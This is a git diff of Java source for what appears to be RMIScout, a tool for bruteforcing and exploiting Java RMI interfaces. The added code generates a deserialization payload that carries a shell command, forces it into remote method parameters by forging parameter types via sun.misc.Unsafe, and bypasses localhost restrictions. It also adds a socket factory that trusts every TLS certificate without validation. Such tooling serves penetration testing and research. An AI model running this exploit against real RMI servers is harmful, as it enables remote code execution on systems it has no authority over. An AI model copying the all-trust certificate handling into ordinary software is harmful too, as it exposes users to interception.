||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
|
||||
try {
|
||||
this.host = host;
|
||||
this.allowUnsafe = allowUnsafe;
|
||||
this.signatures = signatures;
|
||||
this.isActivationServer = isActivationServer;
|
||||
String[] regNames = null;
|
||||
isSSL = false;
|
||||
|
||||
try {
|
||||
// Attempt a standard cleartext connection
|
||||
this.registry = LocateRegistry.getRegistry(host, port);
|
||||
regNames = registry.list();
|
||||
} catch (ConnectIOException ce) {
|
||||
// Fallback to an insecure (all-trust) SSL Connection
|
||||
try {
|
||||
this.registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
|
||||
regNames = registry.list();
|
||||
isSSL = true;
|
||||
} catch (ConnectIOException e) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] " + e.getMessage()
|
||||
+ "\nMight be RMI-IIOP (--iiop) or server might use non-standard protocol."
|
||||
+ Utilities.Colors.ENDC);
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
this.registry = LocateRegistry.getRegistry(host, port);
|
||||
this.remoteRefs = new HashMap<>();
|
||||
|
||||
// Switch to custom classloader
|
||||
originalClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
|
||||
ClassPool defaultClassPool = ClassPool.getDefault();
|
||||
defaultClassPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
|
||||
this.customClassLoader = new Loader(Thread.currentThread().getContextClassLoader(), defaultClassPool);
|
||||
@@ -66,72 +74,88 @@ public class RMIConnector {
|
||||
customClassLoader.delegateLoadingOf("jdk.internal.reflect.MethodAccessorImpl"); // needed for Mockito#mock
|
||||
customClassLoader.delegateLoadingOf("jdk.internal.reflect.SerializationConstructorAccessorImpl"); // needed for Mockito#mock & Junit4#Result
|
||||
|
||||
generateDummyClass(defaultClassPool);
|
||||
dummyClass = Utilities.generateDummyClass(defaultClassPool);
|
||||
CtClass remoteInterface = defaultClassPool.getCtClass(Remote.class.getName());
|
||||
String[] regNames;
|
||||
|
||||
// If remoteName is not specificied create a list of all remotes
|
||||
if (remoteName != null) {
|
||||
regNames = new String[]{remoteName};
|
||||
} else {
|
||||
regNames = registry.list();
|
||||
}
|
||||
|
||||
// For each registry create interface bound with test methods
|
||||
for (String regName : regNames) {
|
||||
|
||||
// Get remote interface name from exception
|
||||
String interfaceName = "";
|
||||
String interfaceName = null;
|
||||
try {
|
||||
registry.lookup(regName);
|
||||
} catch (UnmarshalException e) {
|
||||
if (e.detail instanceof ClassNotFoundException) {
|
||||
interfaceName = e.detail.getMessage().split(" ")[0];
|
||||
} else {
|
||||
System.err.println("Error retrieving remote interface className for name '" + regName + "'");
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Error retrieving remote interface className for name '" + regName + "'" + Utilities.Colors.ENDC);
|
||||
System.exit(1);
|
||||
}
|
||||
} catch (NotBoundException e) {
|
||||
|
||||
//DGCClient.registerRefs(new TCPEndpoint(host,1111), (List)var2.getValue());
|
||||
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Registry not bound on remote server: '" + regName + "'" + Utilities.Colors.ENDC);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
String stubName = "";
|
||||
if (isActivationServer) {
|
||||
stubName = interfaceName;
|
||||
interfaceName = "ActivationStub";
|
||||
if (interfaceName == null) {
|
||||
interfaceName = (isActivationServer)?"Unknown":"Unknown_Stub";
|
||||
}
|
||||
|
||||
String stubName = "DefaultStub";
|
||||
if (interfaceName.endsWith("_Stub")) {
|
||||
if (!interfaceName.isEmpty()) {
|
||||
stubName = interfaceName;
|
||||
}
|
||||
interfaceName = stubName + "_Interface";
|
||||
}
|
||||
|
||||
CtClass nInterface = defaultClassPool.makeInterface(interfaceName, remoteInterface);
|
||||
generateStubs(nInterface, signatures);
|
||||
|
||||
if (isActivationServer) {
|
||||
// Example ActivationStub
|
||||
//
|
||||
// All stubs have same hardcoded serialVersionUID = 2; https://bugs.openjdk.java.net/browse/JDK-4066716
|
||||
//
|
||||
// public class MyClass_Stub extends RemoteStub implements Remote
|
||||
// {
|
||||
// private static final long serialVersionUID = 2L;
|
||||
// }
|
||||
if (interfaceName.endsWith("_Stub_Interface")) {
|
||||
try {
|
||||
defaultClassPool.getCtClass(stubName);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
// Example ActivationStub
|
||||
//
|
||||
// All stubs have same hardcoded serialVersionUID = 2; https://bugs.openjdk.java.net/browse/JDK-4066716
|
||||
//
|
||||
// public class MyClass_Stub extends RemoteStub implements Remote
|
||||
// {
|
||||
// private static final long serialVersionUID = 2L;
|
||||
// }
|
||||
|
||||
CtClass activationStub = defaultClassPool.makeClass(stubName, defaultClassPool.getCtClass(RemoteStub.class.getName()));
|
||||
activationStub.setInterfaces(new CtClass[]{nInterface});
|
||||
CtClass activationStub = defaultClassPool.makeClass(stubName, defaultClassPool.getCtClass(RemoteStub.class.getName()));
|
||||
activationStub.setInterfaces(new CtClass[]{nInterface});
|
||||
|
||||
CtField f = new CtField(CtPrimitiveType.longType, "serialVersionUID", activationStub);
|
||||
f.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
|
||||
activationStub.addField(f, CtField.Initializer.constant(2L));
|
||||
activationStub.toClass(customClassLoader);
|
||||
CtField f = new CtField(CtPrimitiveType.longType, "serialVersionUID", activationStub);
|
||||
f.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
|
||||
activationStub.addField(f, CtField.Initializer.constant(2L));
|
||||
activationStub.toClass(customClassLoader);
|
||||
}
|
||||
}
|
||||
|
||||
originalClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
|
||||
Thread.currentThread().setContextClassLoader(customClassLoader);
|
||||
|
||||
this.remoteRefs.put(interfaceName, registry.lookup(regName));
|
||||
|
||||
|
||||
}
|
||||
|
||||
} catch (RemoteException e) {
|
||||
if (e.getMessage().contains("class invalid for deserialization")) {
|
||||
System.err.println("RMI Activation Server detected. Re-run with --activation-server");
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] RMI Activation Server detected. Re-run with --activation-server" + Utilities.Colors.ENDC);
|
||||
|
||||
} else {
|
||||
System.err.println(e.getMessage());
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] " + e.getMessage() + Utilities.Colors.ENDC);
|
||||
}
|
||||
System.exit(1);
|
||||
} catch (Exception e) {
|
||||
@@ -142,17 +166,43 @@ public class RMIConnector {
|
||||
public void generateStubs(CtClass ctclass, List<String> signatures) {
|
||||
try {
|
||||
for (String sig : signatures) {
|
||||
checkAndCreateTypes(sig);
|
||||
Utilities.checkAndCreateTypes(sig);
|
||||
|
||||
// Simple method validation
|
||||
if (!sig.matches("[\\w()<>,\\.\\[\\]\\s]+")) {
|
||||
System.err.println("Skipping, Invalid syntax: " + sig);
|
||||
// if (!sig.matches("[\\w()<>,\\.\\[\\]\\s]+")) {
|
||||
// System.err.println("[INFO] Skipping, Invalid syntax: " + sig);
|
||||
// }
|
||||
if(sig.matches("^\\w+$")) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Fatal error: \"" + sig + "\" appears to be a method name, but is not a valid method prototype. See lists/prototypes.txt for examples." + Utilities.Colors.ENDC);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
boolean wasModified = false;
|
||||
|
||||
// Check for dummy params
|
||||
if(sig.matches("^.*\\(\\w[^\\s]*\\).*")) {
|
||||
System.out.println("[INFO] Adding missing dummy parameter names to signature");
|
||||
sig = sig.replace(",", " a,");
|
||||
sig = sig.replace(")", " a)");
|
||||
wasModified = true;
|
||||
}
|
||||
|
||||
if(sig.matches(".*\\.\\w+\\(.*")) {
|
||||
System.out.println("[INFO] Removing method FQDN");
|
||||
sig = sig.replaceFirst("[\\w\\.\\$]+\\.", "");
|
||||
wasModified = true;
|
||||
}
|
||||
|
||||
if (wasModified) {
|
||||
System.out.println("[INFO] Auto-corrected signature: " + sig);
|
||||
}
|
||||
|
||||
|
||||
CtMethod newmethod = CtNewMethod.make(String.format("%s throws java.rmi.RemoteException;", sig), ctclass);
|
||||
|
||||
// Skip void args because they will always be executed
|
||||
if (!allowUnsafe && newmethod.getParameterTypes().length == 0) {
|
||||
System.out.println("Skipping, void args: " + sig);
|
||||
System.out.println("[INFO] Skipping, void args: " + sig);
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -160,19 +210,20 @@ public class RMIConnector {
|
||||
ctclass.addMethod(newmethod);
|
||||
|
||||
} catch (DuplicateMemberException e) {
|
||||
System.out.println("Duplicate prototype: " + newmethod);
|
||||
System.out.println("[INFO] Duplicate prototype: " + newmethod);
|
||||
}
|
||||
}
|
||||
|
||||
ctclass.toClass(customClassLoader);
|
||||
} catch (CannotCompileException ce ) {
|
||||
if (ce.getReason().contains(ctclass.getSimpleName())) {
|
||||
System.err.println("\nError: Did you forget to remove the interface name from the method name?\n\nFull Stacktrace:\n");
|
||||
System.err.println("\n" + Utilities.Colors.RED + "[ERROR] Did you forget to remove the interface name from the method name?\n\nFull Stacktrace:\n" + Utilities.Colors.ENDC);
|
||||
}
|
||||
else if (ce.getReason().contains(",") || ce.getReason().contains(") ")) {
|
||||
System.err.println("\nError: Dummy parameter names are required for method signature.\n\nFull Stacktrace:\n");
|
||||
System.err.println("\n" + Utilities.Colors.RED + "[ERROR] Dummy parameter names are required for method signature (e.g., -s 'boolean login(java.lang.String a, java.lang.String b)') \n\nFull Stacktrace:\n" + Utilities.Colors.ENDC);
|
||||
}
|
||||
else if (ce.getReason().contains("no such class")) {
|
||||
System.err.println("\nError: Please provide fully-qualified name for this class.\n\nFull Stacktrace:\n");
|
||||
System.err.println("\n" + Utilities.Colors.RED + "[ERROR] Please provide fully-qualified name for this class.\n\nFull Stacktrace:\n" + Utilities.Colors.ENDC);
|
||||
}
|
||||
ce.printStackTrace();
|
||||
System.exit(1);
|
||||
@@ -181,73 +232,7 @@ public class RMIConnector {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void checkAndCreateTypes(String sig) {
|
||||
ClassPool defaultClassPool = ClassPool.getDefault();
|
||||
|
||||
// Split signature into tokens and look for unknown types to dynamically generate
|
||||
String[] parts = sig.split("\\(|\\)|,");
|
||||
|
||||
for (String part : parts) {
|
||||
String type = part.trim().split(" ")[0];
|
||||
type = type.replace("[]","").replace("...","");
|
||||
try {
|
||||
// If appears to be fully-qualified name, check if it's in the classloader
|
||||
if (type.contains(".")) {
|
||||
Class.forName(type);
|
||||
}
|
||||
} catch (ClassNotFoundException ce) {
|
||||
// Create an empty class if FQN doesn't exist
|
||||
CtClass ctClass = defaultClassPool.makeClass(type);
|
||||
try {
|
||||
ctClass.toClass();
|
||||
} catch (CannotCompileException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void exploit(String payloadName, String command) {
|
||||
Class clz = null;
|
||||
Object payload = null;
|
||||
|
||||
try {
|
||||
clz = Class.forName(payloadName);
|
||||
if (ObjectPayload.class.isAssignableFrom(clz)) {
|
||||
ObjectPayload<Object> obj = (ObjectPayload<Object>)clz.newInstance();
|
||||
payload = obj.getObject(command);
|
||||
} else {
|
||||
throw new IllegalArgumentException("Class does not implement ObjectPayload<Object>");
|
||||
}
|
||||
} catch(ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
} catch (IllegalAccessException e) {
|
||||
e.printStackTrace();
|
||||
} catch (InstantiationException e) {
|
||||
e.printStackTrace();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if(!execute(payload)) {
|
||||
System.err.println("Payload was not invoked. Check the accuracy of the signature. Ex: \"boolean login(java.lang.String a, java.lang.String b)\"");
|
||||
} else {
|
||||
System.out.println("Executed");
|
||||
}
|
||||
}
|
||||
|
||||
public void checkIfPresent() {
|
||||
try {
|
||||
execute(dummyClass.newInstance());
|
||||
} catch (InstantiationException e) {
|
||||
e.printStackTrace();
|
||||
} catch (IllegalAccessException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean execute(Object payload) {
|
||||
// Iterate for each registry name
|
||||
private boolean checkExploitableParam() {
|
||||
for (Map.Entry<String, Remote> pair : remoteRefs.entrySet()) {
|
||||
Method[] methods = null;
|
||||
|
||||
@@ -261,23 +246,117 @@ public class RMIConnector {
|
||||
break;
|
||||
}
|
||||
|
||||
// Iterate over each method
|
||||
for (Method me : methods) {
|
||||
String methodSignature = me.toString();
|
||||
for (Class c : me.getParameterTypes()) {
|
||||
if (c != java.lang.String.class) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
public void exploit(String payloadName, String command) {
|
||||
Serializable[] payload = new Serializable[]{(Serializable)Utilities.generatePayload(payloadName, command)};
|
||||
|
||||
// Check for universally exploitable param (i.e., non-primitives other than java.lang.String)
|
||||
boolean exploitableParam = checkExploitableParam();
|
||||
|
||||
// Try preserving strings during execution if first try fails
|
||||
if(!execute(payload, false) && !execute(payload, true)) {
|
||||
if (exploitableParam) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Payload was not invoked. Check the accuracy of the signature." + Utilities.Colors.ENDC);
|
||||
} else {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Server-side JRE (>=8u242-b07, >=11.0.6+10, >=13.0.2+5, >=14.0.1+2) can't be exploited by java.lang.String types" + Utilities.Colors.ENDC);
|
||||
}
|
||||
} else {
|
||||
System.out.println("Executed");
|
||||
}
|
||||
}
|
||||
|
||||
public void checkIfPresent() {
|
||||
try {
|
||||
execute(new Serializable[]{(Serializable)dummyClass.newInstance()}, false);
|
||||
} catch (InstantiationException e) {
|
||||
e.printStackTrace();
|
||||
} catch (IllegalAccessException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean execute(Serializable[] payloads, boolean preserveStrings) {
|
||||
if (preserveStrings) {
|
||||
System.out.println("[INFO] Re-running execute without overwriting java.lang.String types.");
|
||||
}
|
||||
// Iterate for each registry name
|
||||
for (Map.Entry<String, Remote> pair : remoteRefs.entrySet()) {
|
||||
Method[] methods = null;
|
||||
|
||||
String interfaceName = pair.getKey();
|
||||
Remote stub = pair.getValue();
|
||||
|
||||
try {
|
||||
methods = customClassLoader.loadClass(interfaceName).getDeclaredMethods();
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
break;
|
||||
}
|
||||
|
||||
// Iterate over each method
|
||||
for (Method me : methods) {
|
||||
String methodSignature = me.toString();
|
||||
|
||||
try {
|
||||
Class[] fakeParameterTypes = null;
|
||||
Object[] params;
|
||||
|
||||
// Load payload or dummy object into param slots
|
||||
Object[] params = new Object[me.getParameterCount()];
|
||||
Arrays.fill(params, payload);
|
||||
|
||||
// Create fake parameter types for payload
|
||||
Class[] fakeParameterTypes = new Class[me.getParameterCount()];
|
||||
Arrays.fill(fakeParameterTypes, payload.getClass());
|
||||
// Replace parameters and types for attack
|
||||
if (payloads.length == 1) {
|
||||
Serializable payload = payloads[0];
|
||||
// Load payload or dummy object into param slots
|
||||
params = new Object[me.getParameterCount()];
|
||||
if (!preserveStrings) {
|
||||
Arrays.fill(params, payload);
|
||||
} else {
|
||||
int i = 0;
|
||||
for (Class c : me.getParameterTypes()) {
|
||||
if (c == String.class) {
|
||||
params[i] = "";
|
||||
} else {
|
||||
params[i] = payload;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
// Create fake parameter types for payload
|
||||
fakeParameterTypes = new Class[me.getParameterCount()];
|
||||
if (!preserveStrings) {
|
||||
Arrays.fill(fakeParameterTypes, payload.getClass());
|
||||
} else {
|
||||
int i = 0;
|
||||
for (Class c : me.getParameterTypes()) {
|
||||
if (c == String.class) {
|
||||
fakeParameterTypes[i] = String.class;
|
||||
} else {
|
||||
fakeParameterTypes[i] = payload.getClass();
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Don't alter parameter types or values for invocation
|
||||
else {
|
||||
params = payloads;
|
||||
}
|
||||
// Bypass internal call flow for custom params
|
||||
RemoteRef ref = null;
|
||||
if (this.isActivationServer) {
|
||||
if (interfaceName.endsWith("_Stub_Interface")) {
|
||||
isActivationServer = true;
|
||||
Field f = RemoteObject.class.getDeclaredField("ref");
|
||||
f.setAccessible(true);
|
||||
ref = (RemoteRef) f.get(stub);
|
||||
@@ -287,7 +366,20 @@ public class RMIConnector {
|
||||
ref = ((RemoteObjectInvocationHandler) f.get(stub)).getRef();
|
||||
}
|
||||
|
||||
|
||||
// Localhost-bypass; Breaks with SSL or ActivationServers
|
||||
if (!isSSL && !isActivationServer) {
|
||||
LiveRef lref = ((UnicastRef) ref).getLiveRef();
|
||||
ref = new UnicastRef(new LiveRef(
|
||||
lref.getObjID(),
|
||||
new TCPEndpoint(
|
||||
host,
|
||||
lref.getPort(),
|
||||
lref.getClientSocketFactory(),
|
||||
lref.getServerSocketFactory())
|
||||
,
|
||||
false)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
// Calculate MethodHash
|
||||
@@ -301,24 +393,35 @@ public class RMIConnector {
|
||||
u.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) u.get(null);
|
||||
|
||||
// Safety check and set
|
||||
if (me.getParameterTypes()[0].equals(((Class<?>[])unsafe.getObject(me,parameterTypesOffset))[0])) {
|
||||
unsafe.putObject(me, parameterTypesOffset, fakeParameterTypes);
|
||||
} else {
|
||||
System.err.println("JRE version not supported.");
|
||||
System.exit(-1);
|
||||
// Set fake parameter types, if present
|
||||
if (fakeParameterTypes != null) {
|
||||
// Safety Check
|
||||
if (me.getParameterTypes()[0].equals(((Class<?>[]) unsafe.getObject(me, parameterTypesOffset))[0])) {
|
||||
unsafe.putObject(me, parameterTypesOffset, fakeParameterTypes);
|
||||
} else {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] JRE version not supported." + Utilities.Colors.ENDC);
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
// Lightly throttle to prevent corrupting stream. Happens with overloaded methods...
|
||||
// Prevents: java.rmi.UnmarshalException: Error unmarshaling return header occurs;
|
||||
//...
|
||||
//Caused by: java.io.EOFException
|
||||
// at java.io.DataInputStream.readByte(DataInputStream.java:267)
|
||||
// at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:222)
|
||||
Thread.sleep(10);
|
||||
|
||||
// Invoke remote method
|
||||
Object response = ref.invoke(stub, me, params, methodHash);
|
||||
|
||||
// This next line should only occur when allowUnsafe or when launching exploits
|
||||
System.out.println("Executed Payload: " + methodSignature);
|
||||
System.out.println(Utilities.Colors.YELLOW + "Executed: " + methodSignature + Utilities.Colors.ENDC);
|
||||
System.out.println("\tResponse [" + response.getClass() + "] = " + response.toString());
|
||||
return true;
|
||||
} catch (IllegalArgumentException e) {
|
||||
if (e.getMessage().contains("argument type") || e.getMessage().contains("ClassCast")) {
|
||||
System.out.println(Colors.GREEN + "Found: " + methodSignature + Colors.ENDC);
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + methodSignature + Utilities.Colors.ENDC);
|
||||
return true;
|
||||
} else {
|
||||
e.printStackTrace();
|
||||
@@ -326,21 +429,21 @@ public class RMIConnector {
|
||||
} catch (InvocationTargetException e) {
|
||||
e.printStackTrace();
|
||||
} catch (ConnectException e) {
|
||||
System.err.println("Failed to connect to remote");
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] " + e.getMessage() + Utilities.Colors.ENDC);
|
||||
System.exit(1);
|
||||
} catch (ServerException e) {
|
||||
if(e.getCause().getCause() instanceof ClassNotFoundException) {
|
||||
System.out.println(Colors.GREEN + "Found: " + methodSignature + Colors.ENDC);
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + methodSignature + Utilities.Colors.ENDC);
|
||||
} else if(e.getCause() instanceof UnmarshalException) {
|
||||
if (e.getCause().getMessage().contains("unrecognized method hash")) {
|
||||
} else if (e.getCause().getMessage().contains("error unmarshalling arguments")) {
|
||||
System.out.println(Colors.GREEN + "Found: " + methodSignature + Colors.ENDC);
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + methodSignature + Utilities.Colors.ENDC);
|
||||
}
|
||||
} else {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} catch (ClassCastException e) {
|
||||
System.out.println(Colors.GREEN + "Found: " + methodSignature + Colors.ENDC);
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + methodSignature + Utilities.Colors.ENDC);
|
||||
} catch (UnmarshalException e) {
|
||||
// Pass
|
||||
} catch (Exception e) {
|
||||
@@ -356,14 +459,14 @@ public class RMIConnector {
|
||||
|
||||
public void cleanup() {
|
||||
for (Map.Entry<String, Remote> pair : remoteRefs.entrySet()) {
|
||||
String registryName = pair.getKey();
|
||||
String interfaceName = pair.getKey();
|
||||
ClassPool defaultClassPool = ClassPool.getDefault();
|
||||
|
||||
try {
|
||||
CtClass ctClass = defaultClassPool.getCtClass(registryName);
|
||||
CtClass ctClass = defaultClassPool.getCtClass(interfaceName);
|
||||
ctClass.detach();
|
||||
|
||||
if (this.isActivationServer) {
|
||||
if (interfaceName.endsWith("_Stub_Interface")) {
|
||||
defaultClassPool.getCtClass(pair.getValue().getClass().getName()).detach();
|
||||
}
|
||||
} catch (NotFoundException e) {
|
||||
@@ -375,4 +478,10 @@ public class RMIConnector {
|
||||
Thread.currentThread().setContextClassLoader(originalClassLoader);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(String[] params) {
|
||||
Serializable[] payloads = Utilities.UnmarshalParams(signatures.get(0), params);
|
||||
execute(payloads, false);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import java.io.IOException;
|
||||
import java.io.Serializable;
|
||||
import java.net.Socket;
|
||||
import java.rmi.server.RMIClientSocketFactory;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.X509Certificate;
|
||||
|
||||
public class RMISSLClientSocketFactory implements RMIClientSocketFactory, Serializable {
|
||||
|
||||
private SSLContext allTrustingSSLContext;
|
||||
|
||||
public RMISSLClientSocketFactory() {
|
||||
try {
|
||||
// Create a trust manager that does not validate certificate chains
|
||||
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] certs,
|
||||
String authType) {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] certs,
|
||||
String authType) {
|
||||
}
|
||||
} };
|
||||
|
||||
allTrustingSSLContext = SSLContext.getInstance("SSL");
|
||||
allTrustingSSLContext.init(null, trustAllCerts, new java.security.SecureRandom());
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
} catch (KeyManagementException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Socket createSocket(String host, int port) throws IOException {
|
||||
SSLSocketFactory factory = (SSLSocketFactory) allTrustingSSLContext.getSocketFactory();
|
||||
SSLSocket socket = (SSLSocket)factory.createSocket(host, port);
|
||||
return socket;
|
||||
}
|
||||
}
|
||||
@@ -5,10 +5,21 @@ import com.google.common.collect.Lists;
|
||||
import net.sourceforge.argparse4j.ArgumentParsers;
|
||||
import net.sourceforge.argparse4j.impl.Arguments;
|
||||
import net.sourceforge.argparse4j.inf.*;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.*;
|
||||
import javax.naming.Context;
|
||||
import javax.naming.InitialContext;
|
||||
import javax.naming.NamingException;
|
||||
import java.io.File;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.FileReader;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.rmi.AccessException;
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.UnmarshalException;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.*;
|
||||
|
||||
public class RMIScout {
|
||||
@@ -50,19 +61,106 @@ public class RMIScout {
|
||||
@SuppressWarnings("unchecked")
|
||||
public static void disableAccessWarnings() {
|
||||
try {
|
||||
Class unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field field = unsafeClass.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
Object unsafe = field.get(null);
|
||||
// for IllegalAccessLogger
|
||||
// Class unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
// Field field = unsafeClass.getDeclaredField("theUnsafe");
|
||||
// field.setAccessible(true);
|
||||
// Object unsafe = field.get(null);
|
||||
//
|
||||
// Method putObjectVolatile = unsafeClass.getDeclaredMethod("putObjectVolatile", Object.class, long.class, Object.class);
|
||||
// Method staticFieldOffset = unsafeClass.getDeclaredMethod("staticFieldOffset", Field.class);
|
||||
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafe.setAccessible(true);
|
||||
Unsafe u = (Unsafe) theUnsafe.get(null);
|
||||
Class cls = Class.forName("com.sun.corba.se.spi.logging.LogWrapperBase");
|
||||
Field logger = cls.getDeclaredField("logger");
|
||||
long offset = u.objectFieldOffset(logger);
|
||||
u.putObjectVolatile(cls, offset, null);
|
||||
|
||||
Method putObjectVolatile = unsafeClass.getDeclaredMethod("putObjectVolatile", Object.class, long.class, Object.class);
|
||||
Method staticFieldOffset = unsafeClass.getDeclaredMethod("staticFieldOffset", Field.class);
|
||||
|
||||
Class loggerClass = Class.forName("jdk.internal.module.IllegalAccessLogger");
|
||||
Field loggerField = loggerClass.getDeclaredField("logger");
|
||||
Long offset = (Long) staticFieldOffset.invoke(unsafe, loggerField);
|
||||
putObjectVolatile.invoke(unsafe, loggerClass, offset, null);
|
||||
// Class loggerClass = Class.forName("jdk.internal.module.IllegalAccessLogger");
|
||||
// Field loggerField = loggerClass.getDeclaredField("logger");
|
||||
// Long offset = (Long) staticFieldOffset.invoke(unsafe, loggerField);
|
||||
// putObjectVolatile.invoke(unsafe, loggerClass, offset, null);
|
||||
|
||||
// for IllegalAccessLogger
|
||||
// Class loggerClass = Class.forName("com.sun.corba.se.spi.logging.LogWrapperBase");
|
||||
// Field loggerField = loggerClass.getDeclaredField("logger");
|
||||
// Long offset = (Long) staticFieldOffset.invoke(unsafe, loggerField);
|
||||
// putObjectVolatile.invoke(unsafe, loggerClass, offset, null);
|
||||
} catch (Exception ignored) {
|
||||
ignored.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static void list(String host, int port) {
|
||||
// Prevent noise from CORBA library
|
||||
Utilities.toggleSystemErr();
|
||||
|
||||
String[] regNames = null;
|
||||
String[] interfaceNames = null;
|
||||
|
||||
Registry registry = null;
|
||||
try {
|
||||
// Attempt a standard cleartext connection
|
||||
registry = LocateRegistry.getRegistry(host, port);
|
||||
regNames = registry.list();
|
||||
} catch (Exception e) {}
|
||||
|
||||
|
||||
if (registry == null || regNames == null) {
|
||||
try {
|
||||
// Fallback to an insecure (all-trust) SSL Connection
|
||||
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
|
||||
regNames = registry.list();
|
||||
} catch (Exception e) {}
|
||||
}
|
||||
|
||||
if (registry != null && regNames != null) {
|
||||
interfaceNames = new String[regNames.length];
|
||||
for (int i = 0; i < regNames.length; i++) {
|
||||
try {
|
||||
registry.lookup(regNames[i]);
|
||||
} catch (UnmarshalException e) {
|
||||
if (e.detail instanceof ClassNotFoundException) {
|
||||
interfaceNames[i] = e.detail.getMessage().split(" ")[0];
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
Properties props = new Properties();
|
||||
String iiopUrl = "iiop://" + host + ":" + port;
|
||||
props.put(Context.PROVIDER_URL, iiopUrl);
|
||||
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.cosnaming.CNCtxFactory");
|
||||
|
||||
Context ctx = new InitialContext(props);
|
||||
|
||||
regNames = IIOPConnector.list(ctx);
|
||||
} catch (NamingException e) {
|
||||
} catch (AccessException e) {
|
||||
} catch (RemoteException e) {
|
||||
}
|
||||
Utilities.toggleSystemErr();
|
||||
|
||||
if (regNames == null) {
|
||||
System.out.println("Server is offline or does not use RMI, RMI-SSL, or RMI-IIOP");
|
||||
} else {
|
||||
String regInfo = Arrays.toString(regNames);
|
||||
if (interfaceNames != null) {
|
||||
regInfo = "[\n";
|
||||
for (int i = 0; i < regNames.length; i++) {
|
||||
regInfo += "\tname[" + i + "] = " + regNames[i] + "\n\t\tclass = " + interfaceNames[i] + "\n";
|
||||
// if (i < regNames.length-1) {
|
||||
// regInfo += ",\n";
|
||||
// }
|
||||
}
|
||||
regInfo += "]";
|
||||
}
|
||||
System.out.println("[INFO] Registries available on " + host + ":" + port + " = " + regInfo);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -73,31 +171,44 @@ public class RMIScout {
|
||||
|
||||
ArgumentParser parser = ArgumentParsers.newFor("rmiscout").build().defaultHelp(true).description("Bruteforce and exploit RMI interfaces");
|
||||
|
||||
// Setup subparsers
|
||||
final String wordlistModeHelp = "Dictionary attack on RMI interfaces using a prototype wordlist";
|
||||
final String bruteforceModeHelp = "Bruteforce attack on RMI interfaces";
